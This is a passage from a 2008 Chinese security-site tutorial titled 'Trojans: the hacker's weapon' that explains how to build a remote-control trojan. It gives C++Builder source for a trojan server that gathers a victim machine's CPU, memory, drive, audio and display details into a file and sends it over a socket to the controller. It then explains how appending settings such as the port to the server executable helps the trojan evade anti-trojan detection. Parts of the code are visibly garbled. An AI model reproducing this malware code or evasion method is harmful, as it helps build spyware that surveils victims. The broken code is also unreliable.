通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
木马--黑客的利器
责任编辑:酷酷の鱼   更新日期:2008-3-3
 

 

这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。 
  6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  tODO: Add your source code here

  //获得CPU型号

  sys tem_INFO sys teminfo;

  Getsys temInfo (&sys teminfo);

  cs="CPU类型是:"+String(sys teminfo.dwProcessorType)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0-未知盘、1-不存在、2-可移动磁盘、3-固定磁盘、4-网络磁盘、

  //5-CD-ROM、6-内存虚拟盘

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name

  if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)) {

  cs=String(name)+"盘卷标为:"+String(volname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盘序号为:"+String(sno)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

  freespace=int(free)*byte*sector/1024/1024; //计算可用空间

  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="当前波形设备:"+String(wavecap.szPname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="当前MIDI设备:"+String(midicap.szPname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //计算色彩的梯度数

  cp= GetDeviceCaps(form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //计算色深

  AnsiString sss;

  sss=bpp;

  cs="当前色深为:"+sss+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

  进入Windows的命令行模式下做如下操作

  1)C:\>copy Server.Exe Server.Bak

  2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”

  3)C:\>type Text.Txt>>Server.Exe

  4)运行Server.Exe

  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

上一页  [1] [2] [3] [4] [5] [6] [7] 

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    固顶文章 一日一动画稿费100元起
    普通文章 瑞星公司03月03日发布 每日计算机病毒及木马播报
    普通文章 黑客攻击网站百万网民受影响 两人已经被刑拘
    普通文章 终结者又出变种 破坏系统还原盗取用户信息
    普通文章 银监会通报5起银行信息科技风险事件
    普通文章 社保查询系统泄露个人信息 该系统已运转八年
    普通文章 “虚拟警察”见效果 有害信息降70%
    普通文章 公安部:国家信息安全等级保护工作稳步推进
    推荐文章 推荐:教你从原理入手扼杀传播病毒恶意网页
    普通文章 真实世界忠告 同样适用于保证网络安全
    热门文章
    普通文章另类杀毒方法 Windows安全模式下杀毒
    普通文章阻挡防火墙安全性的六大误区
    普通文章安全秘诀之交换机安全功能设置
    普通文章高手教你如何针对DDOS部署防御措施
    普通文章俄罗斯成恶意软件第一生产国
    普通文章传百度安全中心即将上线 涉水免费杀毒
    普通文章瑞星公司02月22日发布 每日计算机病毒及木马播报
    普通文章自己动手 删除病毒在电脑中的遗留文件
    推荐文章推荐:电脑初学者学习如何手工检测电脑病毒
    普通文章Web威胁肆虐 主动式防御导2008年安全
    精彩专题